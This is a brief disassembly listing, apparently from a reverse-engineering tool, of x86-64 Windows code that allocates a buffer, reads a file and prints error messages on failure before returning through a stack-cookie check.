mov rbx, rax
test rax, rax
jne 0x140003657
lea rcx, str.Failed_to_allocate_buffer
call fcn.1400110e0
mov rcx, rdi
call fcn.140010f0c
mov qword [rsp + 0x50], rbx
lea r8, [rsp + 0xf0]
mov edx, ebp
lea rcx, [rsp + 0x50]
call fcn.140002be0
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.14000a640
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov r9, rdi
mov r8, rsi
mov edx, 1
mov rcx, rbx
call fcn.140014f88
cmp rax, rsi
je 0x14000360d
lea rcx, str.Failed_to_read_file
call fcn.1400110e0
mov rcx, rdi
call fcn.140010f0c
mov rcx, rbx
call fcn.140014c1c
jmp 0x140003615